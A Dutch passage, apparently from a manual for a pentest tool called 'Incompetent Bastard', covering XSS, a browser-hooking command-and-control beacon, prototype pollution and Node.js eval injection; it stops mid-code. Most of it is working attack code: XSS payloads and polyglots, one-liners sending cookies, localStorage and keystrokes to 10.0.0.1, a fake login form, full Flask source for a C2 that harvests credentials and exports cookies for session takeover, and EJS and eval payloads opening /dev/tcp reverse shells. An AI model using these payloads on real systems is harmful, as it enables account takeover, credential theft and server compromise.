Extern script laden:

<script src="http://10.0.0.1/xss.js"></script>

Of dynamisch:

<img src=x onerror="s=document.createElement('script');
  s.src='http://10.0.0.1/xss.js';
  document.body.appendChild(s)">

Dit is de meest krachtige variant: je hoeft niet je hele payload in de injectie te proppen. Je laadt gewoon een extern script dat zo lang en complex kan zijn als je wilt.

De polyglot – het Zwitsers zakmes:

Een polyglot is een payload die werkt in meerdere contexten tegelijk:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//
%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/
--!>\x3csVg/<sVg/oNloAd=alert()//>

Dit monster is ontworpen om te werken ongeacht de HTML-context waarin het belandt. Het is lelijk, het is onleesbaar, en het werkt vaker dan je zou willen.

IB Tip: Gebruik Burp Intruder met een XSS polyglot wordlist voor fuzzing. Begin met de simpele payloads en werk naar boven. Vaak is <img src=x onerror=alert(1)> genoeg – ontwikkelaars vergeten event handlers veel vaker dan <script> tags.

4.4 IB Command: web_xss_payloads

Incompetent Bastard bevat een verzameling bewezen XSS-payloads in het command bestand web_xss_payloads. Dit is je spiekbriefje tijdens een assessment – geordend van basis tot geavanceerd.

# Bestandslocatie:
# http/commands/web_xss_payloads

Basis payloads – de eerste test:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

Begin hier. Als een van deze werkt, heb je een triviale XSS gevonden en mag de ontwikkelaar zich schamen.

innerHTML bypass:

<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<details open ontoggle=alert(1)>
<input onfocus=alert(1) autofocus>

Belangrijk detail: <script> tags die via innerHTML worden ingevoegd, worden niet uitgevoerd. Dat is een bewuste beperking van de HTML-specificatie. Maar event handlers op andere elementen werken wel prima. De specificatie is hier dus selectief beschermend – een beetje zoals een uitsmijter die messentrekt controleert maar pistolen laat passeren.

Event handlers – de oneindige lijst:

<div onmouseover="alert(1)">hover me</div>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>

Er zijn tientallen event handlers in HTML. onerror, onload, onfocus, onblur, onmouseover, onmouseout, onclick, onchange, oninput, ontoggle, onstart – de lijst gaat maar door. Elk element dat een event handler ondersteunt is een potentiele XSS-vector.

Tag en keyword bypass:

<ScRiPt>alert(1)</sCrIpT>
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src=x onerror=alert`1`>

Encoding bypass:

<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
javascript:alert(1)

Zonder haakjes:

<img src=x onerror=alert`1`>
<img src=x onerror="window.onerror=alert;throw 1">

Extern script laden:

<script src="http://10.0.0.1/xss.js"></script>
<img src=x onerror="s=document.createElement('script');
  s.src='http://10.0.0.1/xss.js';
  document.body.appendChild(s)">

De vuistregel is: begin simpel, ga complexer als het nodig is. Als <script> alert(1)</script> niet werkt, probeer dan variaties. Als alle standaard-tags geblokkeerd zijn, probeer dan encoding. En als je echt niks vindt, gebruik dan een fuzzer met een volledige payload-lijst.

IB Tip: De web_xss_payloads commandfile is bedoeld als startpunt, niet als uitputtende lijst. De echte waarde zit in het begrijpen waarom elke payload werkt – welke filter omzeilt hij, welke context exploiteert hij. Gebruik het als referentie, niet als een blinde kopieermachine.

Oké, we kunnen alert(1) laten zien. Heel indrukwekkend. De klant zegt: “Ja, en? Er verscheen een pop-up. Wat is het echte risico?”

Het echte risico is session hijacking. En dat begint bij cookies.

Cookies zijn die kleine stukjes data die websites in je browser opslaan om je te “onthouden.” Je session cookie is het bewijs dat je bent ingelogd. Als iemand die cookie heeft, kan hij doen alsof hij jij is. Zonder wachtwoord. Zonder twee- factorauthenticatie. Gewoon door de cookie in zijn eigen browser te plakken.

4.5.1 De klassieke methode: document.cookie

new Image().src = "http://10.0.0.1/steal?c=" + document.cookie;

Dat is het. Een regel. Die ene regel kan een bedrijf op zijn knieen brengen.

Het werkt zo: JavaScript maakt een nieuw Image object aan. De browser probeert de “afbeelding” te laden van de URL, die de cookies als parameter meestuurt. De server van de aanvaller ontvangt het verzoek en slaat de cookies op. Het slachtoffer merkt niks – er is geen pop-up, geen redirect, geen enkele visuele indicatie dat er iets mis is.

Alternatief met fetch:

fetch("http://10.0.0.1/steal?c=" + document.cookie);

Modernere syntax, zelfde effect. De fetch API stuurt een HTTP-verzoek naar de server van de aanvaller.

4.5.2 Meer dan cookies: de complete plundering

Maar waarom stoppen bij cookies? Als je JavaScript kunt uitvoeren in iemands browser, kun je alles stelen wat de browser kan zien.

localStorage en sessionStorage:

fetch("http://10.0.0.1/steal?ls=" +
  encodeURIComponent(JSON.stringify(localStorage)));

fetch("http://10.0.0.1/steal?ss=" +
  encodeURIComponent(JSON.stringify(sessionStorage)));

Veel moderne applicaties slaan tokens, gebruikersgegevens, en andere gevoelige data op in localStorage. In tegenstelling tot cookies worden deze niet automatisch meegestuurd met HTTP-verzoeken, maar ze zijn wel volledig toegankelijk via JavaScript. En hier is het pijnlijke: HttpOnly – de vlag die cookies beschermt tegen JavaScript-toegang – bestaat niet voor localStorage.

Keylogger:

document.addEventListener('keydown', function(e) {
  new Image().src = "http://10.0.0.1/log?k=" + e.key;
});

Elke toetsaanslag die het slachtoffer maakt op de geinfecteerde pagina wordt verzonden naar de aanvaller. Wachtwoorden. Creditcardnummers. Persoonlijke berichten. Alles.

Credential phishing – de pagina vervangen:

document.getElementsByTagName("html")[0].innerHTML =
  '<h1>Sessie verlopen</h1>' +
  '<form action="http://10.0.0.1/phish" method="POST">' +
  '<input name="user" placeholder="Username">' +
  '<input name="pass" type="password" placeholder="Password">' +
  '<button>Login</button></form>';

De hele pagina wordt vervangen door een nep-loginformulier. De URL-balk toont nog steeds de originele, vertrouwde domeinnaam. Het slachtoffer ziet een “sessie verlopen” melding en voert argeloos zijn credentials in. Die gaan rechtstreeks naar de aanvaller.

CSRF via XSS – acties uitvoeren als het slachtoffer:

fetch("/admin/adduser", {
  method: "POST",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body: "username=hacker&password=hacked&role=admin",
  credentials: "include"
});

XSS plus CSRF is een dodelijke combinatie. De credentials: "include" zorgt ervoor dat de cookies van het slachtoffer worden meegestuurd. De server denkt dat het slachtoffer zelf het verzoek stuurt. Er wordt een admin-account aangemaakt. Game over.

Authenticated content scraping:

var i = document.createElement('iframe');
i.src = '/admin/secret';
i.onload = function() {
  fetch("http://10.0.0.1/exfil", {
    method: "POST",
    body: i.contentDocument.body.innerHTML
  });
};
document.body.appendChild(i);

Dit laadt een pagina die het slachtoffer mag zien (bijvoorbeeld een admin-pagina) in een onzichtbaar iframe, en stuurt de inhoud naar de aanvaller. Het slachtoffer merkt niks – het iframe is onzichtbaar en het laden gebeurt op de achtergrond.

IB Tip: Als HttpOnly is gezet op de session cookie, kun je die niet stelen via document.cookie. Maar dat betekent niet dat XSS onbruikbaar is. Je kunt nog steeds CSRF-aanvallen uitvoeren, credentials phishen, localStorage stelen, en keyloggen. HttpOnly is een laag verdediging, niet de hele verdediging.

4.6 IB Command: web_xss_steal

Het web_xss_steal command bestand bundelt alle bovengenoemde exfiltratie-payloads in een handig overzicht. Dit is wat je pakt als de klant vraagt: “Maar wat kan een aanvaller echt doen met XSS?”

# Bestandslocatie:
# http/commands/web_xss_steal

Het bestand bevat payloads voor:

  1. Cookie stealing – de klassieke new Image().src en fetch() methoden
  2. localStorage/sessionStorage – voor applicaties die tokens client-side opslaan
  3. Keylogging – elke toetsaanslag vastleggen
  4. Credential phishing – de pagina vervangen met een nep-loginformulier
  5. CSRF via XSS – acties uitvoeren namens het slachtoffer
  6. Authenticated content scraping – data lezen waar het slachtoffer bij kan

De twee tips onderaan het bestand zijn cruciaal:

  1. Gebruik de /x.js beacon van het IB lab voor automatische hooking (daar gaan we zo uitgebreid op in)
  2. HttpOnly cookies zijn niet via JavaScript te lezen – gebruik dan CSRF als alternatieve aanvalsvector

4.7 Het IB XSS Beacon Lab: je eigen command and control

Nu komen we bij het hart van dit hoofdstuk. Het onderdeel waar Incompetent Bastard echt laat zien waar het voor staat. Vergeet die simpele alert(1) demo’s – we gaan het hebben over een volledig operationeel XSS command and control framework, ingebouwd in de applicatie.

Waar andere tools je een payload laten genereren en je dan aan je lot overlaten, biedt IB een compleet dashboard voor het beheren van gehoekte browsers. Het is als het verschil tussen een hengel en een vissersboot met sonar: je kunt met allebei vissen, maar de een is duidelijk effectiever.

4.7.1 Architectuur: hoe de beacon werkt

Het XSS beacon systeem bestaat uit drie componenten:

  1. De beacon JavaScript (/x.js of /xxs.js) – dit is het script dat je injecteert via een XSS-kwetsbaarheid
  2. De callback endpoints – Flask routes die data ontvangen en opslaan
  3. Het dashboard (/dashboard/xxs) – een webinterface om alles te bekijken en te beheren

De hele architectuur zit in de xxs_bp blueprint (meuk/flask/xxs.py) met bijbehorende database modellen in meuk/flask/models.py.

De blueprint registratie:

xxs_bp = Blueprint('xxs_bp', __name__,
                    template_folder='html',
                    static_folder='static')

4.7.2 De beacon: /x.js

Wanneer een slachtoffer een pagina bezoekt met een XSS-kwetsbaarheid waar de beacon is geinjekteerd, wordt /x.js geladen. Dit bestand is geen statisch JavaScript-bestand – het is een Flask route die dynamisch JavaScript genereert.

@xxs_bp.route("/x.js", methods=["GET","POST"])
@xxs_bp.route("/xxs.js", methods=["GET", "POST"])
def xss_hooked():
    ip = request.remote_addr
    if ip != appdata.ikzelf:
        ua = request.headers.get('User-Agent')
        loc = request.headers.get('Referer')
        md5 = hashlib.md5(str(ip+ua).encode())
        hebben = db_xxs_cookies.query.filter_by(
            ip=ip, agent=ua, md5=md5.hexdigest()
        ).first()
        if hebben == None:
            bevdb = db_xxs_hooked(
                ip=ip, agent=ua, md5=md5.hexdigest()
            )
            db.session.add(bevdb)
            db.session.commit()
        pagina = render_template('xss.html',
                                 localhost=appdata.localhost)
    else:
        pagina = render_template('xss-blanco.html',
                                 localhost=appdata.localhost)

    return pagina, 200, {
        'Content-Type': 'text/javascript',
        'Cache-Control': 'no-cache, no-store, must-revalidate',
        'Pragma': 'no-cache',
        'Expires': '0'
    }

Laten we dit stap voor stap ontleden.

Stap 1: Zelfherkenning. De route controleert of het verzoek komt van appdata.ikzelf – het IP-adres van de pentester zelf. Als jij je eigen beacon opvraagt, krijg je xss-blanco.html terug, dat gewoon alert(document.cookie) doet. Een handige test-modus. Als het verzoek van iemand anders komt – een slachtoffer – krijgt die het echte, kwaadaardige script.

Dit is een slim detail. Je wilt niet dat je eigen browser wordt gehoekt terwijl je aan het testen bent. Incompetent Bastard weet wie je bent en gedraagt zich anders.

Stap 2: Registratie. De route maakt een MD5-hash van het IP-adres plus de User- Agent string. Als die combinatie nog niet in de database staat, wordt er een nieuw db_xxs_hooked record aangemaakt. Het slachtoffer is nu “gehoekt” – geregistreerd als een actieve client.

Stap 3: Payload delivery. Het script dat wordt teruggestuurd is de xss.html template, maar met Content-Type: text/javascript – zodat de browser het als JavaScript interpreteert, niet als HTML. De anti-cache headers zorgen ervoor dat de browser het script elke keer opnieuw ophaalt, zodat updates in het script direct effect hebben.

4.7.3 Wat de beacon doet: het JavaScript

De daadwerkelijke beacon JavaScript (uit xss.html) is een meesterwerk van efficiëntie. In vijftig regels code doet het alles wat je nodig hebt:

Module 1 – Cookie harvesting:

var i = new Image;
i.src = "{{localhost}}/xxs/cookies?data=" + document.cookie;

Zodra het script laadt, stuurt het alle cookies naar het IB-dashboard. De Image truc is oud maar betrouwbaar – het werkt zelfs als CORS de fetch API blokkeert, want afbeeldingsverzoeken zijn niet gebonden aan het same-origin beleid.

Module 2 – localStorage exfiltratie:

let data = JSON.stringify(localStorage);
let encodedData = encodeURIComponent(data);
fetch("{{localhost}}/xxs/localstorage?data=" + encodedData);

Alles wat de applicatie heeft opgeslagen in localStorage wordt geserialiseerd naar JSON, URL-geencodeerd, en naar het dashboard gestuurd. Tokens, voorkeuren, gecachte data – alles.

Module 3 – Autocomplete credential harvesting:

var u = document.createElement("input");
u.type = "text";
u.autocomplete = "on";
u.style.position = "fixed";
u.style.opacity = "0";

var p = document.createElement("input");
p.type = "password";
p.autocomplete = "on";
p.style.position = "fixed";
p.style.opacity = "0";

body.append(u);
body.append(p);
setTimeout(function() {
  fetch("{{localhost}}/xxs/gebruiker?u=" + u.value +
        "&p=" + p.value)
}, 5000);

Dit is schitterend sluw. Het script maakt onzichtbare invoervelden aan met autocomplete="on". Sommige browsers vullen deze automatisch in met opgeslagen credentials. Na vijf seconden wachten (genoeg tijd voor autocomplete om zijn werk te doen) worden de waarden naar het dashboard gestuurd.

Het is alsof je een blanco cheque op tafel legt en wacht tot iemand hem tekent.

Module 4 – Keylogger:

function logKey(event) {
  fetch("{{localhost}}/xxs/keylogger?data=" + event.key);
}
document.addEventListener('keydown', logKey);

Elke toetsaanslag wordt naar het dashboard gestuurd. Letter voor letter.

Module 5 – Click tracker:

function click(e) {
  e = e || window.event;
  var target = e.target || e.srcElement;
  fetch("{{localhost}}/xxs/keylogger?data=\n\n<klik>" +
        target + "</klik>");
}
document.addEventListener('click', click);

Niet alleen toetsaanslagen, maar ook klikken worden gevolgd. Het target-element wordt meegezonden, zodat je op het dashboard kunt zien waar het slachtoffer op klikte.

4.7.4 De callback endpoints

Elk type data heeft zijn eigen endpoint:

Cookies: /xxs/cookies

@xxs_bp.route("/xxs/cookies", methods=["GET", "POST"])
def xss_cookies():
    ip = request.remote_addr
    if request.args.get('data') and ip != appdata.ikzelf:
        loc = request.headers.get('Referer')
        ua = request.headers.get('User-Agent')
        md5 = hashlib.md5(request.args.get('data').encode())

        hebben = db_xxs_cookies.query.filter_by(
            ip=ip, agent=ua, md5=md5.hexdigest()
        ).first()
        if hebben == None:
            bevdb = db_xxs_cookies(
                ip=ip, agent=ua, locatie=loc,
                datum=vandaag, md5=md5.hexdigest(),
                cookies=request.args.get('data')
            )
            db.session.add(bevdb)
            db.session.commit()

        return '[!] Tot ziens en bedankt voor de vis.', 200, {
            'Content-Type': 'text/javascript',
            'Access-Control-Allow-Origin': 'http://' +
                (request.referrer if request.referrer
                 else request.remote_addr),
            ...
        }

Een paar dingen vallen op:

  1. Deduplicatie via MD5. De hash van de cookie-data wordt opgeslagen. Als dezelfde cookies opnieuw binnenkomen (bijvoorbeeld bij een page refresh), worden ze niet dubbel opgeslagen. Slim.

  2. CORS headers. De response bevat Access-Control-Allow-Origin met het referrer-domein. Dit is nodig omdat de beacon cross-origin verzoeken stuurt – van het domein van het slachtoffer naar het IB-dashboard.

  3. Douglas Adams referentie. De response body is “[!] Tot ziens en bedankt voor de vis.” – een verwijzing naar The Hitchhiker’s Guide to the Galaxy. Zelfs in kwaadaardige JavaScript is er ruimte voor humor.

localStorage: /xxs/localstorage

@xxs_bp.route("/xxs/localstorage", methods=["GET", "POST"])
def xss_localstorage():
    ip = request.remote_addr
    if request.args.get('data') and ip != appdata.ikzelf:
        loc = request.headers.get('Referer')
        ua = request.headers.get('User-Agent')
        md5 = hashlib.md5(request.args.get('data').encode())

        hebben = db_xxs_localstorage.query.filter_by(
            ip=ip, agent=ua, md5=md5.hexdigest()
        ).first()
        if hebben == None:
            bevdb = db_xxs_localstorage(
                ip=ip, agent=ua, locatie=loc,
                datum=vandaag, md5=md5.hexdigest(),
                localstorage=request.args.get('data')
            )
            db.session.add(bevdb)
            db.session.commit()
        ...

Zelfde patroon als de cookie endpoint. Data binnenkomt, dedupliceren, opslaan.

Keylogger: /xxs/keylogger

@xxs_bp.route("/xxs/keylogger", methods=["GET", "POST"])
def xss_keylogger():
    ip = request.remote_addr
    if ip != '127.3.0.1':
        loc = request.headers.get('Referer')
        ua = request.headers.get('User-Agent')
        data = request.args.get('data')
        if data == '':
            data = ' '

        hebben = db_xxs_keylogger.query.filter_by(
            ip=ip, agent=ua, locatie=loc
        ).first()
        if hebben == None:
            bevdb = db_xxs_keylogger(
                ip=ip, agent=ua, locatie=loc,
                datum=vandaag, toetsen=data
            )
            db.session.add(bevdb)
            db.session.commit()
        else:
            bevdb = db_xxs_keylogger.query.get(hebben.id)
            bevdb.toetsen = hebben.toetsen + data
            db.session.commit()

De keylogger endpoint is anders dan de anderen. In plaats van elke toetsaanslag als apart record op te slaan (wat de database zou laten exploderen), appendeert het nieuwe toetsen aan het bestaande record. De combinatie van IP, User-Agent, en Referer vormt de unieke identificatie van een sessie. Alles wat het slachtoffer typt op dezelfde pagina komt in een toenemend langer wordende string terecht.

Het veld heet toetsen – Nederlands voor “toetsen” of “keys.” Het is een charming detail in een verder tamelijk verontrustend stuk code.

C2 Commands: /xxs/commands

@xxs_bp.route("/xxs/commands", methods=["GET", "POST"])
def xss_c2():
    return '[!] Tot ziens en bedankt voor de vis.', 200, {
        'Content-Type': 'text/javascript',
        'Access-Control-Allow-Origin': 'http://' +
            (request.referrer if request.referrer
             else request.remote_addr),
        ...
    }

De C2 (Command and Control) endpoint is het mechanisme waarmee je opdrachten kunt sturen naar gehoekte browsers. Het db_xxs_commands model heeft een host veld (standaard * voor alle hosts) en een opdracht veld dat arbitrair JavaScript kan bevatten.

class db_xxs_commands(db.Model):
    __tablename__ = 'db_xxs_commands'
    id = db.Column(db.Integer, primary_key=True)
    host = db.Column(db.String(32), default='*')
    opdracht = db.Column(db.Text())

In theorie poll de beacon periodiek dit endpoint en voert ontvangen commando’s uit. Je kunt per host targeten of een wildcard gebruiken om alle gehoekte browsers tegelijk aan te sturen.

4.7.5 De database modellen

Achter dit alles zit een verzameling SQLAlchemy-modellen die alle verzamelde data opslaan:

class db_xxs_cookies(db.Model):
    __tablename__ = 'db_xxs_cookies'
    id = db.Column(db.Integer, primary_key=True)
    datum = db.Column(db.DateTime, default=date.today())
    agent = db.Column(db.String(255))
    ip = db.Column(db.String(255))
    naam = db.Column(db.String(255))
    md5 = db.Column(db.String(32))
    cookies = db.Column(db.Text())
    locatie = db.Column(db.Text())
class db_xxs_hooked(db.Model):
    __tablename__ = 'db_xxs_hooked'
    id = db.Column(db.Integer, primary_key=True)
    datum = db.Column(db.DateTime, default=date.today())
    agent = db.Column(db.String(255))
    ip = db.Column(db.String(255))
    md5 = db.Column(db.String(32))
class db_xxs_keylogger(db.Model):
    __tablename__ = 'db_xxs_keylogger'
    id = db.Column(db.Integer, primary_key=True)
    datum = db.Column(db.DateTime, default=date.today())
    agent = db.Column(db.String(255))
    ip = db.Column(db.String(255))
    naam = db.Column(db.String(255))
    md5 = db.Column(db.String(32))
    toetsen = db.Column(db.Text())
    locatie = db.Column(db.Text())
class db_xxs_localstorage(db.Model):
    __tablename__ = 'db_xxs_localstorage'
    id = db.Column(db.Integer, primary_key=True)
    datum = db.Column(db.DateTime, default=date.today())
    agent = db.Column(db.String(255))
    ip = db.Column(db.String(255))
    naam = db.Column(db.String(255))
    md5 = db.Column(db.String(32))
    localstorage = db.Column(db.Text())
    locatie = db.Column(db.Text())
class db_xxs_login(db.Model):
    __tablename__ = 'db_xxs_login'
    id = db.Column(db.Integer, primary_key=True)
    datum = db.Column(db.DateTime, default=date.today())
    agent = db.Column(db.String(255))
    ip = db.Column(db.String(255))
    username = db.Column(db.String(255))
    md5 = db.Column(db.String(32))
    password = db.Column(db.String(255))
class db_xxs_form(db.Model):
    __tablename__ = 'db_xxs_form'
    id = db.Column(db.Integer, primary_key=True)
    datum = db.Column(db.DateTime, default=date.today())
    agent = db.Column(db.String(255))
    ip = db.Column(db.String(255))
    naam = db.Column(db.String(255))
    md5 = db.Column(db.String(32))
    form = db.Column(db.Text())
    locatie = db.Column(db.Text())

Het complete datamodel vangt dus:

Model Wat het opslaat
db_xxs_hooked Geregistreerde slachtoffers (IP + User-Agent)
db_xxs_cookies Gestolen cookies per slachtoffer
db_xxs_localstorage localStorage dumps per slachtoffer
db_xxs_keylogger Toetsaanslagen per sessie
db_xxs_login Autocomplete-geharveste credentials
db_xxs_form Onderschepte formulierdata
db_xxs_commands C2-opdrachten om naar gehoekte browsers te sturen

Elk model slaat het IP-adres, de User-Agent, een MD5-hash (voor deduplicatie), een datum, en de daadwerkelijke data op. De locatie velden bevatten de Referer URL – zodat je weet op welke pagina het slachtoffer zich bevond.

4.7.6 Het dashboard: /dashboard/xxs

@xxs_bp.route("/dashboard/xxs", methods=["GET", "POST"])
def xxs_dashboard():
    hooked = db_xxs_hooked.query.all()
    cookies = db_xxs_cookies.query.order_by('datum').all()
    keylogger = db_xxs_keylogger.query.order_by('datum').all()
    localstorage = db_xxs_localstorage.query.order_by('datum').all()

    pagina = render_template('xss_dashboard.html',
        cookies=cookies,
        keylogger=keylogger,
        localstorage=localstorage,
        hooked=hooked,
        aantalhooked=len(hooked))
    return pagina

Het dashboard geeft je in een oogopslag:

4.7.7 Data exporteren

Het dashboard biedt ook export-mogelijkheden voor elk type data:

Cookies exporteren in Netscape formaat:

@xxs_bp.route("/dashboard/xxs/download_cookies/<int:id>")
def xxs_download_cookies(id):
    cookies = db_xxs_cookies.query.filter_by(id=id)
    waarden = ''
    regel = "\n[host]\tTRUE\t/\tFALSE\t[tijdstip]\t[naam]\t[waarde]"
    for x in cookies:
        for f in x.cookies.split(';'):
            y = f.split('=')
            waarden = waarden + regel.replace('[host]', str(x.ip)) \
                .replace('[tijdstip]', str(tijdstip)) \
                .replace('[naam]', str(y[0]).strip()) \
                .replace('[waarde]',
                    str(f.replace(y[0]+'=','')).strip())

    header = '''# Netscape HTTP Cookie File
# http://curl.haxx.se/rfc/cookie_spec.html
# This file was generated by Incompetent Bastard'''

    return header + waarden, 200, {
        'Content-Disposition':
            'attachment; filename="cookies_'+x.ip+'.txt"',
        ...
    }

De cookies worden geexporteerd in het Netscape cookie-bestandsformaat – hetzelfde formaat dat tools als curl begrijpen. Je kunt het gedownloade bestand direct gebruiken om de sessie van het slachtoffer over te nemen:

curl -b cookies_192.168.1.100.txt https://kwetsbare-site.nl/admin

Keylogger data exporteren:

@xxs_bp.route("/dashboard/xxs/download_toetsen/<int:id>")
def xxs_download_toetsen(id):
    data = db_xxs_keylogger.query.filter_by(id=id).first()
    header = '''# Keylog: [host] ([agent])
# location: [locatie]
# This file was generated by Incompetent Bastard'''
    tekst = header.replace('[host]', data.ip) \
        .replace('[agent]', data.agent) \
        .replace('[locatie]', data.locatie) \
        + "\n\n" + data.toetsen
    ...

En hetzelfde patroon voor localStorage exports.

4.7.8 Walkthrough: van XSS injectie tot sessie-overname

Laten we het hele proces eens doorlopen, stap voor stap, van het vinden van een XSS-kwetsbaarheid tot het volledig overnemen van een sessie.

Stap 1: Configureer IB.

Zorg dat de db_instellingen tabel je IP-adres bevat in het ikzelf veld, en dat localhost wijst naar het adres waarop IB draait (bijvoorbeeld http://10.0.0.1:5000).

Stap 2: Vind de XSS.

Gebruik de payloads uit web_xss_payloads om een reflective of stored XSS te vinden. Stel: je vindt een stored XSS in een commentaarveld.

Stap 3: Injecteer de beacon.

In plaats van <script>alert(1)</script> injecteer je:

<script src="http://10.0.0.1:5000/x.js"></script>

Of als script-tags gefilterd zijn:

<img src=x onerror="s=document.createElement('script');
  s.src='http://10.0.0.1:5000/x.js';
  document.body.appendChild(s)">

Stap 4: Wacht op slachtoffers.

Elke gebruiker die de pagina met het geinfecteerde commentaar bezoekt, laadt de beacon. De beacon:

  1. Registreert de browser als “gehoekt” in db_xxs_hooked
  2. Stuurt alle cookies naar /xxs/cookies
  3. Stuurt de volledige localStorage naar /xxs/localstorage
  4. Maakt onzichtbare invoervelden aan voor autocomplete-harvesting
  5. Installeert een keylogger en click tracker

Stap 5: Monitor het dashboard.

Ga naar http://10.0.0.1:5000/dashboard/xxs. Je ziet:

Stap 6: Export en gebruik.

Download de cookies van een admin-gebruiker in Netscape formaat. Gebruik ze met curl of importeer ze in je browser:

# Directe sessie-overname met curl
curl -b cookies_192.168.1.42.txt \
  https://kwetsbare-site.nl/admin/users

# Of bekijk de gestolen data
curl -b cookies_192.168.1.42.txt \
  https://kwetsbare-site.nl/api/v1/me

Stap 7: Optioneel – C2 commando’s.

Via het db_xxs_commands model kun je JavaScript-opdrachten sturen naar gehoekte browsers. Wil je een screenshot maken van wat het slachtoffer ziet? Een redirect forceren? Extra data exfiltreren? Alles is mogelijk zodra je JavaScript kunt uitvoeren in hun browser.

IB Tip: Het beacon-systeem van IB is bewust eenvoudig gehouden. Het is geen BeEF (Browser Exploitation Framework) met honderden modules. Het is een lichtgewicht, pragmatisch systeem dat de vijf dingen doet die je in 90% van de pentests nodig hebt: cookies stelen, localStorage dumpen, credentials harvesten, keyloggen, en C2-commando’s sturen.

4.8 Prototype Pollution: vergiftiging van de blauwdruk

Nu verlaten we de browser en betreden we het domein van JavaScript als taal – specifiek de eigenaardigheden van prototypische overerving. Prototype pollution is een kwetsbaarheid die zo fundamenteel is dat het bijna komisch is. Het is alsof iemand ontdekt dat je het DNA van een hele soort kunt veranderen door de juiste bacterie te injecteren.

4.8.1 Wat is prototype pollution?

In JavaScript erft elk object eigenschappen van een prototype-object. Als je een nieuw object aanmaakt, erft het automatisch van Object.prototype. Dit is de basis van prototypische overerving – JavaScript’s antwoord op klasse-gebaseerde overerving, bedacht in die legendarische tien dagen.

Het probleem: als een aanvaller erin slaagt om Object.prototype te wijzigen, heeft dat effect op elk object in de applicatie. Het is alsof je de bouwvoorschriften van een stad verandert – elk gebouw dat daarna gebouwd wordt, volgt de nieuwe, gecompromitteerde regels.

Het mechanisme:

// Normaal object
let obj = {};
console.log(obj.polluted); // undefined

// Prototype pollution via __proto__
let kwaadaardig = JSON.parse(
  '{"__proto__":{"polluted":"ja"}}'
);
// Een onveilige merge-functie kopieert dit naar een target:
// merge(target, kwaadaardig)

// Nu heeft ELK object de eigenschap "polluted"
let ander_obj = {};
console.log(ander_obj.polluted); // "ja" (!)

De __proto__ eigenschap is een verwijzing naar het prototype van een object. Door deze te manipuleren in user-controlled input, kun je eigenschappen toevoegen aan Object.prototype – en daarmee aan elk object in de applicatie.

4.8.2 Van pollution naar Remote Code Execution

Prototype pollution op zichzelf is al vervelend, maar het wordt pas echt gevaarlijk wanneer het gecombineerd wordt met een template engine. Veel template engines in Node.js lezen configuratie-opties van objecten – en als die objecten vervuilde prototypes hebben, voert de template engine de kwaadaardige waarden uit.

4.8.3 IB Command: web_prototype_pollution

# Bestandslocatie:
# http/commands/web_prototype_pollution

Het command bestand bevat detectie- en exploitatiepayloads:

Blackbox detectie:

{"__proto__":{"polluted":"yes"}}
{"constructor":{"prototype":{"polluted":"yes"}}}

Stuur een van deze als JSON-body naar een endpoint. Check daarna of een nieuw aangemaakt object de eigenschap polluted heeft. Als {}.polluted === "yes", is de applicatie kwetsbaar.

Crash test:

{"__proto__":{"toString":"crash"}}

Als de applicatie crasht nadat je dit stuurt, is dat een sterke indicator van prototype pollution. De toString methode wordt overal gebruikt, en als die opeens een string is in plaats van een functie, gaat alles kapot.

RCE via EJS template engine:

{
  "__proto__": {
    "outputFunctionName": "x;process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/10.0.0.1/443 0>&1\"');x"
  }
}

EJS leest outputFunctionName uit de opties. Door deze te polluten met een JavaScript-expressie die een reverse shell spawnt, krijg je code execution op de server.

Laat dat even bezinken. Je stuurt een JSON-object naar een webapplicatie, en als gevolg daarvan krijgt je een shell op de server. Via een mechanisme dat eigenlijk bedoeld is voor template configuratie. Het is alsof je bij een restaurant een speciale bestelling plaatst en als gevolg daarvan toegang krijgt tot de keuken.

RCE via Pug template engine:

{
  "__proto__": {
    "block": {
      "type": "Text",
      "val": "x]];process.mainModule.require('child_process').exec('id');//"
    }
  }
}

Kwetsbare libraries:

Het command bestand noemt specifieke libraries die kwetsbaar zijn voor prototype pollution in hun merge/extend functies:

Belangrijk: Object.assign is niet kwetsbaar. Het is een shallow copy en kopieert geen __proto__ eigenschappen.

Detectie in source code:

Zoek naar: - merge(target, source) – custom merge-functies - extend(true, target, source) – jQuery-stijl deep extend

Preventie:

IB Tip: WebSocket-parameters zijn vaak kwetsbaarder voor prototype pollution dan reguliere HTTP-parameters. De reden: minder sanitization. Websockets zijn de achterdeuren van veel applicaties – iedereen focust op de voordeur (HTTP), terwijl de achterdeur wagenwijd open staat. Combineer prototype pollution met de template engine die de applicatie gebruikt voor een volledige RCE-chain.

4.9 Node.js Injection: eval() en het einde der tijden

We zijn nu aangekomen bij het meest verbijsterende beveiligingsprobleem dat er bestaat in de JavaScript-wereld. Het is een probleem dat al bestaat sinds de eerste dag dat iemand dacht: “Hey, laten we JavaScript ook op de server draaien!” Het is een probleem waarvan elke beveiligingsexpert zegt dat het nooit mag voorkomen. En toch komt het voor. Keer op keer.

eval() in Node.js.

Voor wie het niet weet: eval() is een functie die een string neemt en die uitvoert als JavaScript-code. In de browser is dat al gevaarlijk. Op een server is het het digitale equivalent van een open nucleaire lanceerinstallatie met het wachtwoord “password123.”

Want Node.js draait niet in een sandbox. Er is geen Same-Origin Policy. Er is geen Content Security Policy. Als je code kunt uitvoeren via eval() in Node.js, heb je directe toegang tot het bestandssysteem, het netwerk, de processen – alles.

4.9.1 IB Command: web_nodejs_inject

# Bestandslocatie:
# http/commands/web_nodejs_inject

Basis eval() injection:

// Test of eval() actief is:
1+1

// Commando uitvoeren:
require('child_process').execSync('id').toString()

// Bestanden lezen:
require('child_process').execSync('cat /etc/passwd').toString()

Als een applicatie user input in eval() stopt – en ja, dat gebeurt echt – dan is een enkele regel genoeg voor volledige server-compromitatie.

Reverse shell via eval():

require('child_process').exec(
  'bash -c "bash -i >& /dev/tcp/10.0.0.1/443 0>&1"'
)

Of een meer geavanceerde variant met de net module:

var net = require('net'),
    sh = require('child_process').exec('/bin/bash');
var c = new net.Socket();
c.connect(443, '10.0.0.1', function() {
  c.pipe(sh.stdin);
  sh.stdout.pipe(c);
